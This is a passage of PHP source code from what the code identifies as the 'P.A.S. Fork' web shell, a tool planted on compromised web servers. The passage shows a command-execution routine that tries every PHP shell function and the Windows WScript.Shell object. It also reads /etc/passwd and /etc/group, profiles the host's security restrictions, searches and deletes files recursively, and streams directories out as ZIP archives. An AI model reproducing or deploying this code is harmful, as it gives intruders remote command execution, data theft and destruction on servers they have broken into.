return str_replace(array('^', '&', '\\', '<', '>', '|'), array('^^', '^&', '^\\', '^<', '^>', '^|'), $v);
}
function exe($cmd, $fnc, $sh = '', $se = TRUE, $or = '') {
$se = '2>' . ($se ? '&1' : (NIX ? '/dev/null' : 'nul')) . $or;
if (NIX)
$sc = 'echo ' . nesc($cmd) . '|' . ($sh === '' ? '$0' : $sh) . ' ' . $se . ' & exit';
else
$sc = ($sh === '' ? '(' . $cmd . ')' : $sh . ' /C ' . wesc($cmd) . ' ') . $se;
switch ($fnc) {
case 0:
system($sc);
break;
case 1:
passthru($sc);
break;
case 2:
echo `$sc`;
break;
case 3:
echo shell_exec($sc);
break;
case 4:
$r = NULL;
exec($sc, $r);
if (is_array($r))
foreach ($r as $v)
echo $v, "\n";
break;
case 5:
if ($h = popen($sc, 'r')) {
while (!feof($h))
echo fread($h, 1024);
pclose($h);
}
break;
case 6:
if($h = proc_open($sc,array(array('pipe','r'), array('pipe','w'), array('pipe','a')),$p)){
echo stream_get_contents($p[1]);
fclose($p[0]);
fclose($p[1]);
proc_close($h);
}
break;
case 7:
if ($h = new COM('WScript.Shell'))
echo $h->Exec(($sh === '' ? 'cmd' : $sh) . ' /C ' . $cmd . ' ' . $se)->StdOut->ReadAll();
break;
case 101:
echo safemode($cmd);
}
}
function uName($id){
if($id === -1) return'?';
static $a = NULL, $f = FALSE;
if($a === NULL){
if($v = getFile('/etc/passwd')){
$a = array();
$v = explode("\n", $v);
foreach($v as $i)
if($i){
$i = explode(':',$i,4);
$a[$i[2]]=$i[0];
}
}
elseif(defined('POSIX_F_OK') || function_exists('posix_getpwuid'))
$f = (bool)posix_getpwuid(0);
}
if($a)
if(isset($a[$id])) return $a[$id];
elseif($f)
if($v = posix_getpwuid($id)) return $v['name'];
return $id;
}
function gName($id){
if($id === -1) return'?';
static $a = NULL, $f = FALSE;
if($a === NULL){
if($v = getFile('/etc/group')){
$a = array();
$v = explode("\n",$v);
foreach($v as$i)
if($i){
$i = explode(':', $i, 4);
$a[$i[2]] = $i[0];
}
}
elseif(defined('POSIX_F_OK') || function_exists('posix_getgrgid')) $f = (bool)posix_getgrgid(0);
}
if($a)
if(isset($a[$id])) return $a[$id];
elseif($f)
if($v = posix_getgrgid($id)) return $v['name'];
return$id;
}
function getINI($s, &$v){
$v = trim(ini_get($s));
return $v!=='';
}
function isINI($v){
$v = strtolower(trim(ini_get($v)));
return ($v === '1' || $v === 'on');
}
function samePath($a){
$p = NULL;
foreach($a as $v){
$v = array_slice(explode(DSC, rtrim($v,DSC)), 0, -1);
if($p === NULL) $p = $v;
else{
$k=array();
$c=count($p);
$i=count($v);
if($i < $c) $c=$i;
for($i=0; $i < $c; ++$i)
if($p[$i] === $v[$i]) $k[] = $p[$i];
else
break;
$p = $k;
if($i===0) break;
}
}
return count($p) === 0 ? '': implode(DSC, $p).DSC;
}
function escFileName($v){
return str_replace(array('%','/','\\',':','*','?','"','<','>','|'), array('%25',"\xe2\x95\xb1","\xe2\x95\xb2","\xea\x9e\x89","\xe2\x88\x97", '%3F', "\xe2\x80\x9f", '%3C', '%3E',"\xe2\x88\xa3"), $v);
}
function infMain($h = FALSE){
echo $h ? '<table id="tblInf"><tr title="HTTP Host, Server Addr, Server Name, Host Name, Host IP"><th>' : '[{"','Address', $h ? '</th><td>' : '":';
$a = array();
foreach(array('HTTP_HOST','SERVER_ADDR','SERVER_NAME') as $v)
if(isset($_SERVER[$v])){
$v = trim($_SERVER[$v]);
if($v!==''&&!in_array($v,$a))$a[]=$v;
}
if($v = php_uname('n')){
$v = trim($v);
if($v !== '' && !in_array($v,$a)) $a[] = $v;
}
if(PHP_VERSION>='5.3' && ($v = gethostname())){
$v = trim($v);
if($v !== '' && !in_array($v,$a)) $a[] = $v;
}
$r='';
foreach($a as $k => $v){
if($k > 0) $r.=' / ';
$r .= $v;
if($i=gethostbynamel($v)){
$b = FALSE;
foreach($i as $v)
if(!in_array($v, $a)){
$a[] = $v;
if($b) $r .= ', ';
else{$b = TRUE; $r .= ' (';} $r .= $v;
}
if($b) $r .= ')';
}
elseif(($i = gethostbyname($v)) && !in_array($v, $a)){
$a[] = $v;
$r .= ' ('.$v.')';
}
}
if($h) echo escHTML($r);
else jsonEcho($r);
echo $h ? '</td></tr><tr><th>' : ',"','System', $h ? '</th><td>' : '":';
$r = '';
if(($v = trim(php_uname('s').' '.php_uname('r').' '.php_uname('v').' '.php_uname('m'))) !== '') $r = $v;
elseif(NIX && ($v = getFile('/proc/version'))) $r = $v;
else{
if(defined('PHP_OS')) $r = PHP_OS;
else $r = NIX ? '*NIX' : 'Windows';
if(!NIX){
$a = array();
foreach(array('PHP_WINDOWS_VERSION_MAJOR','PHP_WINDOWS_VERSION_MINOR','PHP_WINDOWS_VERSION_BUILD') as $v) if(defined($v)) $a[] = constant($v);
if($a) $r .=' '.implode('.', $a);
if(defined('PHP_WINDOWS_VERSION_SP_MAJOR') && PHP_WINDOWS_VERSION_SP_MAJOR > 0){
$r .= ' SP'.PHP_WINDOWS_VERSION_SP_MAJOR;
if(defined('PHP_WINDOWS_VERSION_SP_MINOR') && PHP_WINDOWS_VERSION_SP_MINOR > 0) $r .= '.'.PHP_WINDOWS_VERSION_SP_MINOR;
}
}
}
if(NIX && (($v = trim(getFile('/etc/issue.net'))) !== '' || ($v = trim(getFile('/etc/issue'))) !== '')) $r .= ' ('.$v.')';
if($h)
echo escHTML($r);
else
jsonEcho($r);
if(!empty($_SERVER['SERVER_SOFTWARE'])){
echo $h ?'</td></tr><tr><th>' : ',"','Server', $h ? '</th><td>':'":';
if($h)
echo escHTML($_SERVER['SERVER_SOFTWARE']);
else
jsonEcho($_SERVER['SERVER_SOFTWARE']);
}
echo $h ? '</td></tr><tr><th>' : ',"','Software', $h ? '</th><td>' : '":';
$r = 'PHP/'.PHP_VERSION;
if(defined('SUHOSIN_PATCH_VERSION')) $r .= ' with Suhosin patch/'.SUHOSIN_PATCH_VERSION;
$r .= '; ';
if(defined('CURLE_OK')){
$r .= 'cURL';
$v = curl_version();
if(isset($v['version'])) $r.='/'.$v['version'];
$r.='; ';
}
if($v = phpversion('Suhosin')) $r.=' Suhosin/'.$v;
if($h)
echo escHTML($r);
else
jsonEcho($r);
echo $h ? '</td></tr><tr><th>' : ',"','User', $h ? '</th><td>' : '":';
$r='';
$a = array();
if(NIX){
if(defined('POSIX_F_OK') || function_exists('posix_geteuid')){
if(is_int($v = posix_geteuid())) $r .= 'euid='.$v.'('.uName($v).'); ';
if(is_int($v = posix_getegid())) $r .= 'egid='.$v.'('.gName($v).'); ';
}
if(is_int($v = getmyuid())) $r .= 'ouid='.$v.'('.uName($v).'); ';
if(is_int($v = getmygid())) $r .= 'ogid='.$v.'('.gName($v).'); ';
}
$b = FALSE;
foreach(array('REMOTE_ADDR','HTTP_X_REAL_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR') as $i){
if(!empty($_SERVER[$i])){
if($b)
$r.= ', ';
else{
$b = TRUE;
$r .= 'IP: ';
}
$r .= $_SERVER[$i];
}
}
if($b)
$r .= ';';
if($h)
echo escHTML($r);
else
jsonEcho($r);
echo $h ? '</td></tr><tr><th colspan="2"></th></tr><tr><th>':'},{"','Safe mode', $h ? '</th><td>' : '":';
if(isINI('safe_mode')){
$v = isINI('safe_mode_gid') ? 'GID':'UID';
echo $h ? $v : '"'.$v.'"';
foreach(array('Include dir' => 'safe_mode_include_dir','Exec dir' => 'safe_mode_exec_dir', 'Vars prefixes' => 'safe_mode_allowed_env_vars', 'Protected vars' => 'safe_mode_protected_env_vars') as $k => $v){
if(!getINI($v, $v)) $v = '-';
echo $h ? '</td></tr><tr><th>' : ',"', $k, $h?'</th><td>' : '":';
if($h)
echo escHTML($v);
else
jsonEcho($v);
}
}
else
echo $h ? '-' : '"-"';
echo $h ? '</td></tr>' : '';
foreach(array('Open basedir' => 'open_basedir', 'Disabled functions' => 'disable_functions', 'Disabled classes' => 'disable_classes') as $k => $v){
if(!getINI($v, $v)) $v = '-';
echo $h ? '<tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
if($h)
echo escHTML($v),'</td></tr>';
else
jsonEcho($v);}
if(getINI('suhosin.simulation', $v)){
echo $h ? '<tr><th colspan="2"></th></tr><tr><th>' : '},{"', 'Suhosin mode', $h ? '</th><td>' : '":"', $v ? 'simulation' : 'break', $h ? '</td></tr><tr><th>' : '","','Allow rewrite', $h ? '</th><td>' : '":';
if(!getINI('suhosin.perdir', $v) || !$v) $v = '-';
if($h)
echo escHTML($v),'</td></tr>';
else jsonEcho($v);
foreach(array('Functions whitelist' => 'suhosin.executor.func.whitelist', 'Functions blacklist' => 'suhosin.executor.func.blacklist', 'Eval whitelist' => 'suhosin.executor.eval.whitelist', 'Eval blacklist' => 'suhosin.executor.eval.blacklist') as $k => $v){
if(!getINI($v, $v)) $v = '-';
echo $h ? '<tr><th>' : ',"', $k, $h ? '</th><td>' : '":';
if($h)
echo escHTML($v),'</td></tr>';
else jsonEcho($v);
}
$a = array('eval' => 'suhosin.executor.disable_eval', '/e modifier' => 'suhosin.executor.disable_emodifier');
$i = array();
foreach($a as$k => $v)
if(isINI($v)) $i[] = $k;
echo $h ? '<tr><th>' : ',"', 'Disabled', $h ?'</th><td>' : '":"', $i ? implode(', ', $i) : '-', $h ? '</td></tr>' : '"';
if(isINI('suhosin.log.file') && getINI('suhosin.log.file.name', $v)){
echo $h ? '<tr><th>' : ',"','Log file', $h ? '</th><td>' : '":';
if($h)
echo escHTML($v),'</td></tr>';
else
jsonEcho($v);
}
}
echo $h ? '</table>' : '}]';
}
function parsePath($p, &$b, &$n){
$v = rtrim($p, DSC);
$i = strrpos($v,DSC);
if($i === FALSE){
if(!NIX && strlen($v) === 2 && $v[1] === ':'){
$b = $v.DSC;
$n = '';
}
else{
$b = DSC;
$n = $v;
}
}
else{
$b = substr($v,0,$i+1);
$n = substr($v,$i+1);
}
}
class FileInfo{
function __construct($v){
if(is_string($v)){
$this->fb = '';
$this->fn= '' ;
parsePath($v, $this->fb, $this->fn);
$this->fp = $this->fb.$this->fn;
}
else{
$this->fi = $v;
$this->fp = $v->getPathName();
$this->fb = $v->getPath();
$this->fn = $v->getFileName();
}
$this->rp = $this->fp;
if($this->isLink()){
$this->rp = $this->getLinkTarget();
if(isset($this->t)) unset($this->t);
if(isset($this->fi)) unset($this->fi);
}
}
function getPath(){
return$this->fb;
}
function getFileName(){
return$this->fn;
}
function getPathName(){
return$this->fp;
}
function isDir(){
if(isset($this->d)) return$this->d;
if(!isset($this->p)) $this->getPerms();
if($this->p !== 0){
$this->d = ($this->p & 0170000) === 0040000;
return $this->d;
}
if(!isset($this->t)) $this->type();
if($this->t !== FALSE){
$this->d = $this->t === 'dir';
return $this->d;
}
$v = is_dir($this->fp);
if(is_bool($v)){
$this->d = $v;
return $v;
}
if(PHP_VERSION>='5') : if(!isset($this->fi)) $this->spl();
if($this->fi !== FALSE){
try{
$v = $this->fi->isDir();
}
catch(Exception $e){
$v = NULL;
}
if(is_bool($v)){
$this->d = $v;
return $v;
}
}
endif;
$this->d = FALSE;
return FALSE;
}
function isLink() {
if (isset($this->l))
return $this->l;
$v = lstat($this->fp);
if (is_array($v)) {
$this->l = ($v[2] & 0170000) === 0120000;
return $this->l;
}
if (!isset($this->t))
$this->type();
if ($this->t !== FALSE) {
$this->l = $this->t === 'link';
return $this->l;
}
$v = is_link($this->fp);
if (is_bool($v)) {
$this->l = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->isLink();
}
catch (Exception $e) {
$v = NULL;
}
if (is_bool($v)) {
$this->l = $v;
return $v;
}
}
endif;
$this->l = FALSE;
return FALSE;
}
function getLinkTarget() {
if (isset($this->f))
return $this->f;
if (NIX || PHP_VERSION >= '5.3') {
$v = readlink($this->fp);
if (is_string($v)) {
$this->f = $v;
return $v;
}
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getLinkTarget();
}
catch (Exception $e) {
$v = NULL;
}
if (is_string($v)) {
$this->f = $v;
return $v;
}
}
endif;
$v = realpath($this->fp);
if (is_string($v)) {
$this->f = $v;
return $v;
}
$this->f = '';
return '';
}
function getSize() {
if (isset($this->s))
return $this->s;
if (!isset($this->i))
$this->stat();
if ($this->i !== FALSE) {
$this->s = $this->i[7];
return $this->s;
}
$v = filesize($this->fp);
if (is_int($v)) {
$this->s = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getSize();
}
catch (Exception $e) {
$v = NULL;
}
if (is_int($v)) {
$this->s = $v;
return $v;
}
}
endif;
$this->s = -1;
return -1;
}
function getCTime() {
if (isset($this->c))
return $this->c;
if (!isset($this->i))
$this->stat();
if ($this->i !== FALSE) {
$this->c = $this->i[10];
return $this->c;
}
$v = filectime($this->fp);
if (is_int($v)) {
$this->c = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getCTime();
}
catch (Exception $e) {
$v = NULL;
}
if (is_int($v)) {
$this->c = $v;
return $v;
}
}
endif;
$this->c = 0;
return 0;
}
function getMTime() {
if (isset($this->m))
return $this->m;
if (!isset($this->i))
$this->stat();
if ($this->i !== FALSE) {
$this->m = $this->i[9];
return $this->m;
}
$v = filemtime($this->fp);
if (is_int($v)) {
$this->m = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getMTime();
}
catch (Exception $e) {
$v = NULL;
}
if (is_int($v)) {
$this->m = $v;
return $v;
}
}
endif;
$this->m = 0;
return 0;
}
function getOwner() {
if (isset($this->o))
return $this->o;
if (!isset($this->i))
$this->stat();
if ($this->i !== FALSE) {
$this->o = $this->i[4];
return $this->o;
}
$v = fileowner($this->fp);
if (is_int($v)) {
$this->o = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getOwner();
}
catch (Exception $e) {
$v = NULL;
}
if (is_int($v)) {
$this->o = $v;
return $v;
}
}
endif;
$this->o = -1;
return -1;
}
function getGroup() {
if (isset($this->g))
return $this->g;
if (!isset($this->i))
$this->stat();
if ($this->i !== FALSE) {
$this->g = $this->i[5];
return $this->g;
}
$v = filegroup($this->fp);
if (is_int($v)) {
$this->g = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getGroup();
}
catch (Exception $e) {
$v = NULL;
}
if (is_int($v)) {
$this->g = $v;
return $v;
}
}
endif;
$this->g = -1;
return -1;
}
function getPerms() {
if (isset($this->p))
return $this->p;
if (!isset($this->i))
$this->stat();
if ($this->i !== FALSE) {
$this->p = $this->i[2];
return $this->p;
}
$v = fileperms($this->fp);
if (is_int($v)) {
$this->p = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->getPerms();
}
catch (Exception $e) {
$v = NULL;
}
if (is_int($v)) {
$this->p = $v;
return $v;
}
}
endif;
$this->p = 0;
return 0;
}
function isReadable() {
if (isset($this->r))
return $this->r;
$v = is_readable($this->fp);
if (is_bool($v)) {
$this->r = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->isReadable();
}
catch (Exception $e) {
$v = NULL;
}
if (is_bool($v)) {
$this->r = $v;
return $v;
}
}
endif;
$this->r = FALSE;
return FALSE;
}
function isWritable() {
if (isset($this->w))
return $this->w;
$v = is_writable($this->fp);
if (is_bool($v)) {
$this->w = $v;
return $v;
}
if (PHP_VERSION >= '5'):
if (!isset($this->fi))
$this->spl();
if ($this->fi !== FALSE) {
try {
$v = $this->fi->isWritable();
}
catch (Exception $e) {
$v = NULL;
}
if (is_bool($v)) {
$this->w = $v;
return $v;
}
}
endif;
$this->w = FALSE;
return FALSE;
}
function getMode() {
$v = 0;
if ($this->isReadable())
$v += 1;
if ($this->isWritable())
$v += 2;
return $v;
}
function stat() {
$v = stat($this->fp);
if (is_array($v)) {
$this->i = $v;
return;
}
$v = lstat($this->fp);
$this->i = is_array($v) ? $v : FALSE;
}
function type() {
$v = filetype($this->rp);
$this->t = $v ? $v : FALSE;
}
function spl() {
$this->fi = FALSE;
if (PHP_VERSION >= '5'):
if (PHP_VERSION >= '5.1.2') {
try {
$this->fi = new SplFileInfo($this->rp);
}
catch (Exception $e) {
$this->fi = FALSE;
}
}
endif;
}
}
if(isset($D['a'])){
class PZIP {
var $_bpl = '', $_cdfh = NULL, $_cdfp = NULL, $_cdfo = FALSE, $_cdrc = 0, $_cdso = 0, $_flrs = array();
function init($bp='') {
$this->_bpl = strlen($bp);
if ($h = tmpfile())
$this->_cdfh = $h;
else {
$n = tempName();
$a = array(
'upload_tmp_dir',
'session.save_path',
'user_dir',
'doc_root'
);
foreach ($a as $v)
if ($p = ini_get($v)) {
$p .= DSC . $n;
if ($h = fopen($p, 'bw+')) {
flock($h, LOCK_EX);
$this->_cdfh = $h;
$this->_cdfp = $p;
return TRUE;
}
if (PHP_VERSION >= '5'):
if (PHP_VERSION >= '5.1') {
try {
$h = new SplFileObject($p, 'bw+');
}
catch (Exception $e) {
$h = NULL;
}
if ($h) {
$h->flock(LOCK_EX);
$this->_cdfh = $h;
$this->_cdfp = $p;
$this->_cdfo = TRUE;
return TRUE;
}
}
endif;
}
$p = selfPath() . $n;
if ($h = fopen($p, 'bw+')) {
flock($h, LOCK_EX);
$this->_cdfh = $h;
$this->_cdfp = $p;
return TRUE;
}
if (PHP_VERSION >= '5'):
if (PHP_VERSION >= '5.1') {
try {
$h = new SplFileObject($p, 'bw+');
}
catch (Exception $e) {
$h = NULL;
}
if ($h) {
$h->flock(LOCK_EX);
$this->_cdfh = $h;
$this->_cdfp = $p;
$this->_cdfo = TRUE;
return TRUE;
}
}
endif;
}
return FALSE;
}
function fileHeader($n, $t) {
echo "\x50\x4b\x03\x04\x14\x00\x08\x00\x00\x00", $t, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", pack('v', strlen($n)), "\x00\x00", $n;
ob_start('zipCalc', 1048576);
}
function fileFooter($n, $t) {
ob_end_flush();
$v = zipCalc(NULL);
$s = pack('V', $v[0]);
$c = pack('V', $v[1] ^ 0xffffffff);
echo "\x50\x4b\x07\x08", $c, $s, $s;
$fh = $this->_cdfh;
$nl = strlen($n);
$data = "\x50\x4b\x01\x02\x00\x00\x14\x00\x08\x00\x00\x00" . $t . $c . $s . $s . pack('v', $nl) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . pack('V', $this->_cdso) . $n;
if ($this->_cdfo) {
$fh->fwrite($data);
$fh->fflush();
} else {
fwrite($fh, $data);
fflush($fh);
}
++$this->_cdrc;
$this->_cdso += 46 + $v[0] + $nl;
}
function addPath($p) {
$f = new FileInfo($p);
if ($f->isDir()) {
if (substr($p, -1) !== DSC)
$p .= DSC;
$f = NULL;
if (!dirRead($p, array(
&$this,
'addPath'
)))
$this->_flrs[] = substr($p, $this->_bpl);
} else {
$t = packTime($f->getMTime());
$f = substr($p, $this->_bpl);
if (!NIX)
$f = str_replace(DSC, '/', $f);
$this->fileHeader($f, $t);
if (!outFile($p))
$this->_flrs[] = $f;
$this->fileFooter($f, $t);
}
}
function close() {
if (count($this->_flrs) > 0) {
$n = 'CANT_READ.txt';
$t = packTime(time());
$this->fileHeader($n, $t);
foreach ($this->_flrs as $v)
echo $v, "\n";
$this->fileFooter($n, $t);
}
$fh = $this->_cdfh;
if ($this->_cdfo) {
$s = $fh->ftell();
$fh->fseek(0);
if (!is_int($fh->fpassthru()))
while (!$fh->eof())
echo $fh->fread(1048576);
$fh->flock(LOCK_UN);
unset($fh, $this->_cdfh);
} else {
$s = ftell($fh);
fseek($fh, 0);
if (!is_int(fpassthru($fh)))
while (!feof($fh))
echo fread($fh, 1048576);
flock($fh, LOCK_UN);
fclose($fh);
}
if ($this->_cdfp !== NULL)
delFile($this->_cdfp);
$v = pack('v', $this->_cdrc);
$c = 'Archived by P.A.S. Fork v. ' . VER;
echo "\x50\x4b\x05\x06\x00\x00\x00\x00", $v, $v, pack('V', $s), pack('V', $this->_cdso), pack('v', strlen($c)), $c;
sDie();
}
}
function packTime($v) {
$v = getdate($v);
return pack('vv', (($v['hours'] << 11) + ($v['minutes'] << 5) + $v['seconds'] >> 1), ((($v['year'] - 1980) << 9) + ($v['mon'] << 5) + $v['mday']));
}
if (!defined('PHP_INT_MAX'))
define('PHP_INT_MAX', intval('10000000000000000000'));
function zipCalc($buff) {
static $crcTbl = NULL, $chrTbl = NULL, $dataSize = 0, $crcSum = 0xffffffff, $shftFix = 0;
if ($crcTbl === NULL) {
$shftFix = PHP_INT_MAX >> 0;
for ($i = 0; $i < 256; ++$i) {
$v = $i;
for ($j = 8; $j; --$j)
$v = $v & 1 ? $v >> 1 & $shftFix ^ 0xEDB88320 : $v >> 1 & $shftFix;
$crcTbl[] = $v;
$chrTbl[chr($i)] = $i;
}
$shftFix = PHP_INT_MAX >> 7;
} elseif ($buff === NULL) {
$v = array(
$dataSize,
$crcSum
);
$dataSize = 0;
$crcSum = 0xffffffff;
return $v;
}
$c = strlen($buff);
$dataSize += $c;
for ($i = 0; $i < $c; ++$i)
$crcSum = $crcTbl[$crcSum & 0xFF ^ $chrTbl[$buff[$i]]] ^ $crcSum >> 8 & $shftFix;
return $buff;
}
function jsonEcho($v) {
static $s = NULL, $r = NULL;
if ($s === NULL) {
$s = array(
'\\',
'"'
);
$r = array(
'\u005c',
'\u0022'
);
for ($i = 0; $i <= 0x1F; ++$i) {
$s[] = chr($i);
$r[] = sprintf('\u00%02s', dechex($i));
}
}
echo $v === NULL ? '"NULL"' : '"' . str_replace($s, $r, $v) . '"';
}
switch ($D['a']) {
case 'f':
function testProp($a, $v) {
foreach ($a as $i)
if (is_array($i)) {
if (count($i) === 2) {
if ($v > $i[0] && $v < $i[1])
return TRUE;
} elseif (isset($i[0])) {
if ($v > $i[0])
return TRUE;
} elseif ($v < $i[1])
return TRUE;
} elseif ($v === $i)
return TRUE;
return FALSE;
}
class Searcher {
var $f, $d, $p, $a;
function __construct($v) {
echo '{"f":[';
$this->f = $v;
$this->d = 0;
$this->p = NULL;
$this->a = array();
}
function filter($v) {
$i = new FileInfo($v);
$k = $i->getFileName();
$f = $this->f;
if ($k === '.' || $k === '..')
return;
if ($i->isLink() && !isset($f['l']))
return;
$b = $i->isDir();
if ($b && (!isset($f['d']) || $f['d'] > $this->d))
$this->a[] = $v;
if (isset($f['y']) && ($f['y'] === 1 ? !$b : $b))
return;
if (isset($f['p']) && $i->getMode() < $f['p'])
return;
if (!$b && isset($f['u']) && ($i->getPerms() & 0007000) !== 0004000)
return;
if (isset($f['n'])) {
if ($k !== $f['n'])
return;
} elseif (isset($f['i'])) {
if (strcasecmp($k, $f['i']) !== 0)
return;
} elseif (isset($f['r'])) {
if (!preg_match($f['r'], $k))
return;
}
if (isset($f['o']) && !testProp($f['o'], $i->getOwner()))
return;
if (isset($f['g']) && !testProp($f['g'], $i->getGroup()))
return;
if (isset($f['e']) && !testProp($f['e'], $i->getCTime()))
return;
if (isset($f['m']) && !testProp($f['m'], $i->getMTime()))
return;
if (!$b && isset($f['z']) && !testProp($f['z'], $i->getSize()))
return;
if (!$b && (isset($f['t']) || isset($f['v']) || isset($f['x']))) {
if (!is_string($k = getFile($v)))
return;
if (isset($f['t'])) {
if (strpos($k, $f['t']) === FALSE)
return;
} elseif (isset($f['v'])) {
if (stristr($k, $f['v']) === FALSE)
return;
} elseif (!preg_match($f['x'], $k))
return;
}
$k = $i->getPath();
if ($this->p !== $k) {
if ($this->p !== NULL)
echo ']},';
echo '{"p":';
jsonEcho($k);
$this->p = $k;
$k = new FileInfo($k);
echo ',"m":', $k->getMode(), ',"f":[';
}
outFileInfo($i);
}
function search($v) {
$this->a = array();
dirRead($v, array(
&$this,
'filter'
));
if (!isset($this->f['d']) || $this->f['d'] > $this->d) {
++$this->d;
$a = $this->a;
foreach ($a as $v)
$this->search($v);
}
}
function finish() {
if ($this->p !== NULL) {
echo ']}]';
outFileInfo(NULL, TRUE);
} else
echo ']';
sDie('}');
}
}
function dirRead($p, $f) {
$b = is_string($f);
if (substr($p, -1) !== DSC)
$p .= DSC;
if ($v = opendir($p)) {
while (($i = readdir($v)) !== FALSE)
if ($i !== '.' && $i !== '..')
$b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
closedir($v);
return TRUE;
}
if ($v = dir($p)) {
while (($i = $v->read()) !== FALSE)
if ($i !== '.' && $i !== '..')
$b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
$v->close();
return TRUE;
}
if (PHP_VERSION >= '5'):
try {
$v = new DirectoryIterator($p);
}
catch (Exception $e) {
$v = FALSE;
}
if ($v) {
foreach ($v as $i) {
$n = $i->getFileName();
if ($n !== '.' && $n !== '..')
$b ? $f($i) : $f[0]->{$f[1]}($i);
}
unset($i, $v);
return TRUE;
}
try {
$v = new RecursiveDirectoryIterator($p);
}
catch (Exception $e) {
$v = FALSE;
}
if ($v) {
foreach ($v as $i)
$b ? $f($i) : $f[0]->{$f[1]}($i);
unset($i, $v);
return TRUE;
}
if (PHP_VERSION >= '5.3') {
try {
$v = new FilesystemIterator($p);
}
catch (Exception $e) {
$v = FALSE;
}
if ($v) {
foreach ($v as $i)
$b ? $f($i) : $f[0]->{$f[1]}($i);
unset($i, $v);
return TRUE;
}
}
$v = defined('SCANDIR_SORT_NONE') ? scandir($p, SCANDIR_SORT_NONE) : scandir($p);
if ($v !== FALSE) {
foreach ($v as $i)
if ($i !== '.' && $i !== '..')
$b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
return TRUE;
}
endif;
if (PHP_VERSION >= '4.3' && defined('GLOB_BRACE') && ($v = glob($p . DSC . '{,.}*', GLOB_NOESCAPE | GLOB_NOSORT | GLOB_BRACE))) {
foreach ($v as $i) {
$n = fileName($i);
if ($n !== '.' && $n !== '..')
$b ? $f($i) : $f[0]->{$f[1]}($i);
}
return TRUE;
}
if (PHP_VERSION >= '5'):
if (PHP_VERSION >= '5.3') {
try {
$v = new GlobIterator($p . '*');
}
catch (Exception $e) {
$v = FALSE;
}
if ($v && count($v) > 0) {
foreach ($v as $i)
$b ? $f($i) : $f[0]->{$f[1]}($i);
unset($i, $v);
return TRUE;
}
}
endif;
return FALSE;
}
function delDir($p) {
dirRead($p, 'delFOD');
return rmdir($p);
}
function delFOD($f) {
$f = new FileInfo($f);
$n = $f->getFileName();
if ($n !== '.' && $n !== '..')
return (!$f->isLink() && $f->isDir()) ? delDir($f->getPathName()) : delFile($f->getPathName());
}
function isInt($v) {
return (string) $v === (string) (int) $v;
}
function jsonFileInfo($f, $b) {
echo '[';
jsonEcho($b ? $f->getPathName() : $f->getFileName());
echo ',', $f->isDir() ? 'null' : $f->getSize(), ',', (TM ? $f->getCTime() : $f->getMTime()), ',', $f->getMode(), ',"', $f->getPerms(), '"';
if (NIX) {
echo ',', $f->getOwner(), ',', $f->getGroup();
if ($b) {
echo ',';
jsonEcho(uName($f->getOwner()));
echo ',';
jsonEcho(gName($f->getGroup()));
}
}
if ($f->isLink()) {
echo ',';
jsonEcho($f->getLinkTarget());
}
echo ']';
}
function outFileInfo($f, $b = NULL) {
static $p = NULL, $o = array(), $g = array();
if ($b === TRUE) {
if (!NIX || count($o) === 0)
return;
$b = FALSE;
echo ',"o":{';
foreach ($o as $k => $v) {
if ($b)
echo ',';
else
$b = TRUE;
echo '"', $k, '":';
jsonEcho(uName($k));
}
$b = FALSE;
echo '},"g":{';
foreach ($g as $k => $v) {
if ($b)
echo ',';
else
$b = TRUE;
echo '"', $k, '":';
jsonEcho(gName($k));
}
echo '}';
return;
}
if ($b === FALSE) {
$p = NULL;
return;
}
if (!isset($f->fp))
$f = new FileInfo($f);
if ($p === $f->getPath())
echo ',';
else
$p = $f->getPath();
jsonFileInfo($f, FALSE);
if (NIX) {
$o[$f->getOwner()] = 1;
$g[$f->getGroup()] = 1;
}
}
function outFile($p) {
if (preg_match('/\.gz$/i', $p)) {
if (is_int(readgzfile($p)))
return TRUE;
if ($v = gzopen($p)) {
if (!is_int(gzpassthru($v)))
while (!gzeof($v))
echo gzread($v, 1048576);
gzclose($v);
return TRUE;
}
if ($v = gzfile($p)) {
if (is_array($v)) {
foreach ($v as $i)
echo $i;
return TRUE;
}
}
}
if (RO && is_int(readfile($p))){
return TRUE;
}
if (RO && copy($p, 'php://output'))
return TRUE;
if ($v = fopen($p, 'rb')) {
if (!is_int(fpassthru($v)))
while (!feof($v))
echo fread($v, 1048576);
fclose($v);
return TRUE;
}
if (PHP_VERSION >= '5'):
if (PHP_VERSION >= '5.1') {
try {
$v = new SplFileObject($p, 'rb');
}
catch (Exception $e) {
$v = FALSE;
}
if ($v) {
if (!is_int($v->fpassthru()))
while (!$v->eof())
echo $v->fgets();
unset($v);
return TRUE;
}
}
endif;
if (PHP_VERSION >= '4.3') {
$v = file_get_contents($p);
if (is_string($v)) {
echo $v;
return TRUE;
}
}
$v = file($p);
if (is_array($v)) {
foreach ($v as $i)
echo $i;
return TRUE;
}
return FALSE;
}
if (isset($D['s'])) {
$a = array();
$e = '{"e":"You have syntax error in %s pattern"}';
if (isset($D['n'])) {
